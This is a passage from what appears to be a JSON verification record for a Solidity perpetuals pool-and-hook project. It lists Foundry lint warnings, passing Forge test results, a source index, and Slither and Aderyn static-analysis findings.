curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:35\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:141:9\n    │\n141 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:135:9\n    │\n135 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:155:32\n    │\n155 │         if (msg.value > ethIn) SafeTransferLib.safeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:157:9\n    │\n157 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:174:9\n    │\n174 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:188:9\n    │\n188 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:234:9\n    │\n234 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:245:32\n    │\n245 │         if (toFeeAddress != 0) SafeTransferLib.safeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:246:9\n    │\n246 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:207:21\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:47\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:55\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:73\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:81\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:71\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:79\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:212:13\n    │\n212 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:60\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:68\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:418:43\n    │\n418 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n419 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n420 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:241:60\n    │\n241 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:24\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:32\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:47\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:245:55\n    │\n245 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":399,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 371.68µs (0.00ns CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 272831)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231692)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405775)\n[PASS] test_OpensAtThePrice() (gas: 53455)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11135)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185514)\n[PASS] test_TradesBothWays() (gas: 409119)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 8.49ms (2.36ms CPU time)\n\nRan 5 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 5981565)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 10403172)\n[PASS] test_FitsOneTransaction() (gas: 5878591)\nLogs:\n  launch gas (the mining included): 5875328\n\n[PASS] test_PassesTheAdmissionScan() (gas: 12760562)\n[PASS] test_RefusesADynamicFee() (gas: 4280)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 16.96ms (52.02ms CPU time)\n\nRan 36 tests for test/IMD6900Audit.t.sol:IMD6900AuditTest\n[PASS] testFuzz_AddKeepsAccruedFeesInBothCurrencies(uint96,uint96) (runs: 256, μ: 842659, ~: 842636)\nLogs:\n  Bound result 99999999000006643\n  Bound result 99999999000000000000006146\n\n[PASS] testFuzz_ReciprocalReferencesHaveEqualDeviation(uint32) (runs: 256, μ: 83839, ~: 83702)\nLogs:\n  Bound result 72\n\n[PASS] test_AddRefundToRejectingRecipientReverts() (gas: 516504)\n[PASS] test_AddReportsPrincipalWhenEthFeesExceedDeposit() (gas: 620658)\n[PASS] test_AddReportsPrincipalWhenFeesOnlyPartlyPayForIt() (gas: 620813)\n[PASS] test_AddReportsPrincipalWhenTokenFeesExceedDeposit() (gas: 646977)\n[PASS] test_AllGraduatedReferenceFailuresKeepTrading() (gas: 1366326)\n[PASS] test_AnyoneDeepensIt() (gas: 273167)\n[PASS] test_BandExemptCallersStillPayTheStaticFee() (gas: 340237)\n[PASS] test_CompoundReportsPrincipalSeparatelyFromFees() (gas: 550937)\n[PASS] test_CorrectionCannotOvershootFarBelowPons() (gas: 223683)\n[PASS] test_CorrectionsOutsideBandStillTradeBothWays() (gas: 542632)\n[PASS] test_DeviationComparesReciprocalPriceRatios() (gas: 81428)\n[PASS] test_EngineSwapsKeepTheirBandExemptionAndPayTheStaticFee() (gas: 340508)\n[PASS] test_FailClosedEngineNeverPreventsOwnerExit() (gas: 1010037)\n[PASS] test_FlushRetainsThe97To3SplitAndRenunciation() (gas: 160012)\n[PASS] test_FlushToRejectingRecipientRevertsAtomically() (gas: 298720)\n[PASS] test_FractionalBasisPointFeeViewsRoundUpWithoutChangingPoolFee() (gas: 54131)\n[PASS] test_GraduatedReferenceUsesTheLivePoolPrice() (gas: 777486)\n[PASS] test_GraduationWithNoFactoryCodeKeepsTrading() (gas: 397867)\n[PASS] test_MalformedReservesKeepTrading() (gas: 232643)\n[PASS] test_ObsoleteFeeAndSkimSettersCannotMisreportFees() (gas: 88654)\n[PASS] test_OnlyOwnerSetsTheBand() (gas: 278519)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231869)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 406542)\n[PASS] test_OpenRefundToRejectingOwnerReverts() (gas: 711966)\n[PASS] test_OpensAtThePrice() (gas: 53525)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11669)\n[PASS] test_PostSweepCannotDisableBand() (gas: 913472)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 186049)\n[PASS] test_RemoveAllPaysPrincipalAndFeesAndCanFundANewHook() (gas: 1308049)\n[PASS] test_RemoveToRejectingRecipientRevertsAndOwnerCanRetry() (gas: 567497)\n[PASS] test_RevertingReservesKeepTrading() (gas: 231708)\n[PASS] test_StaticFeeViewsMatchForEveryCaller() (gas: 152983)\n[PASS] test_TradesBothWays() (gas: 409723)\n[PASS] test_UnreadableGraduatedFlagKeepsTrading() (gas: 229965)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 40.13ms (71.36ms CPU time)\n\nRan 2 tests for test/IMD6900Mining.t.sol:IMD6900MiningTest\n[PASS] test_ExhaustedMiningReturnsNoSaltWithinTheBudget() (gas: 16384920)\nLogs:\n  exhausted mining gas: 11613336\n\n[PASS] test_UnluckyFactorySaltFailsCleanlyWithinOneTransaction() (gas: 13697558)\nLogs:\n  exhausted complete launch gas: 13670157\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 279.72ms (387.45ms CPU time)\n\nRan 5 test suites in 280.38ms (345.66ms CPU time): 50 tests passed, 0 failed, 1 skipped (51 total tests)\n","passed":true},{"durationMs":45,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setMaxDeviationBps(uint256)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":61,\"README.md\":105,\"foundry.toml\":25,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":438,\"src/IMD6900PerpPool.sol\":247,\"src/IMD6900PerpsLaunch.sol\":78,\"test/IMD6900Audit.t.sol\":494,\"test/IMD6900Mining.t.sol\":123,\"test/IMD6900Perps.t.sol\":158,\"test/IMD6900PerpsLaunch.t.sol\":97,\"test/RobinhoodFlow.fork.t.sol\":299},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":3187,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMD6900PerpHook.sol:240: IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#240-247) sends eth to arbitrary user\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:233: IMD6900PerpPool._fullRangeLiquidity(uint160,uint256,uint256) (src/IMD6900PerpPool.sol#233-242) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:165: IMD6900PerpPool.compound(uint256,uint256) (src/IMD6900PerpPool.sol#165-175) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpHook.sol:240: IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#240-247) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:148: IMD6900PerpPool.addLiquidity(uint256,address) (src/IMD6900PerpPool.sol#148-158) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256) (src/IMD6900PerpPool.sol#124-142) uses a dangerous strict equality:\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256) (src/IMD6900PerpPool.sol#124-142) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900PerpPool.sol#135)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:193: IMD6900PerpPool.unlockCallback(bytes) (src/IMD6900PerpPool.sol#193-221) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900PerpPool.sol#207)\n[medium/medium] unused-return at src/IMD6900PerpHook.sol:275: IMD6900PerpHook._graduatedPriceX96(address) (src/IMD6900PerpHook.sol#275-290) ignores return value by (sq,None,None,None) = poolManager.getSlot0(key.toId()) (src/IMD6900PerpHook.sol#285)\n[medium/medium] unused-return at src/IMD6900PerpHook.sol:293: IMD6900PerpHook.poolPriceX96() (src/IMD6900PerpHook.sol#293-297) ignores return value by (sq,None,None,None) = poolManager.getSlot0(poolId) (src/IMD6900PerpHook.sol#294)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:193: IMD6900PerpPool.unlockCallback(bytes) (src/IMD6900PerpPool.sol#193-221) ignores return value by poolManager.settle() (src/IMD6900PerpPool.sol#212)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:165: IMD6900PerpPool.compound(uint256,uint256) (src/IMD6900PerpPool.sol#165-175) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900PerpPool.sol#170)\n[medium/medium] unused-return at src/IMD6900PerpPool.sol:148: IMD6900PerpPool.addLiquidity(uint256,address) (src/IMD6900PerpPool.sol#148-158) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900PerpPool.sol#151)\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:165: IMD6900PerpHook.constructor(IPoolManager,address,address,address,uint24).feeAddress_ (src/IMD6900PerpHook.sol#165) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:222: IMD6900PerpHook.updateFeeAddress(address).feeAddress_ (src/IMD6900PerpHook.sol#222) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256).curve_ (src/IMD6900PerpPool.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:165: IMD6900PerpHook.constructor(IPoolManager,address,address,address,uint24).launcher_ (src/IMD6900PerpHook.sol#165) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:93: IMD6900PerpPool.setHook(address).hook_ (src/IMD6900PerpPool.sol#93) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:77: IMD6900PerpPool.setFeeSink(address).feeSink_ (src/IMD6900PerpPool.sol#77) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpHook.sol:200: IMD6900PerpHook.setPerpEngine(address).engine (src/IMD6900PerpHook.sol#200) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:124: IMD6900PerpPool.open(address,address,uint160,uint256).token_ (src/IMD6900PerpPool.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900PerpPool.sol:99: IMD6900PerpPool.setPerpEngine(address).engine (src/IMD6900PerpPool.sol#99) lacks a zero-check on :\n[low/medium] calls-loop at src/IMD6900PerpPool.sol:106: IMD6900PerpPool.removeLiquidity(uint128,address,address) (src/IMD6900PerpPool.sol#106-119) has external calls inside a loop: IPerpBookView(engine).isLiquidatable(ids[i]) (src/IMD6900PerpPool.sol#113)\n[low/medium] reentrancy-events at src/IMD6900PerpHook.sol:240: Reentrancy in IMD6900PerpHook.flush() (src/IMD6900PerpHook.sol#240-247):\n[low/medium] reentrancy-events at src/IMD6900PerpPool.sol:184: Reentrancy in IMD6900PerpPool.addFees() (src/IMD6900PerpPool.sol#184-189):\n[low/medium] return-bomb at src/IMD6900PerpHook.sol:412: IMD6900PerpHook._sweep(address,int256,bool,uint160) (src/IMD6900PerpHook.sol#412-434) tries to limit the gas of an external call that controls implicit decoding","passed":true},{"durationMs":471,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/IMD6900PerpsLaunch.sol:40: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/IMD6900PerpHook.sol:97: Contract locks Ether without a withdraw function (2 places)\n[high] reentrancy-state-change at src/IMD6900PerpsLaunch.sol:49: Reentrancy: State change after external call (2 places)\n[high] reused-contract-name at src/IMD6900PerpHook.sol:72: Contract Name Reused in Different Files (2 places)\n[low] centralization-risk at src/IMD6900PerpHook.sol:97: Centralization Risk (12 places)\n[low] large-numeric-literal at src/IMD6900PerpHook.sol:101: Large Numeric Literal (4 places)\n[low] literal-instead-of-constant at src/IMD6900PerpHook.sol:170: Literal Instead of Constant (6 places)\n[low] non-reentrant-not-first at src/IMD6900PerpPool.sol:106: `nonReentrant` is Not the First Modifier (2 places)\n[low] push-zero-opcode at src/IMD6900PerpHook.sol:2: PUSH0 Opcode (3 places)\n[low] require-revert-in-loop at src/IMD6900PerpPool.sol:112: Loop Contains `require`/`revert`\n[low] state-no-address-check at src/IMD6900PerpHook.sol:173: Address State Variable Set Without Checks (8 places)\n[low] unchecked-return at src/IMD6900PerpPool.sol:135: Unchecked Return (2 places)\n[low] unspecific-solidity-pragma at src/IMD6900PerpHook.sol:2: Unspecific Solidity Pragma (3 places)\n[low] unused-error at src/IMD6900PerpHook.sol:152: Unused Error\n[low] unused-public-function at src/IMD6900PerpHook.sol:300: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/IMD6900PerpHook.sol:135: Unused State Variable","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"800776c4bd55cc404c438b452092c706759dd136084b269592fe341441dec517","verifiedTreeHash":"bbff84ff02a24788eea314ad85511f529e59661e","verifierVersion":"0.1.0+fdeb4d4a"},{"checks":[{"durationMs":25649,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 25.53s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:40:29\n   │\n40 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n41 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n42 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:76:14\n   │\n76 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:77:25\n   │\n77 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:233:9\n    │\n233 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:79:9\n   │\n79 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ 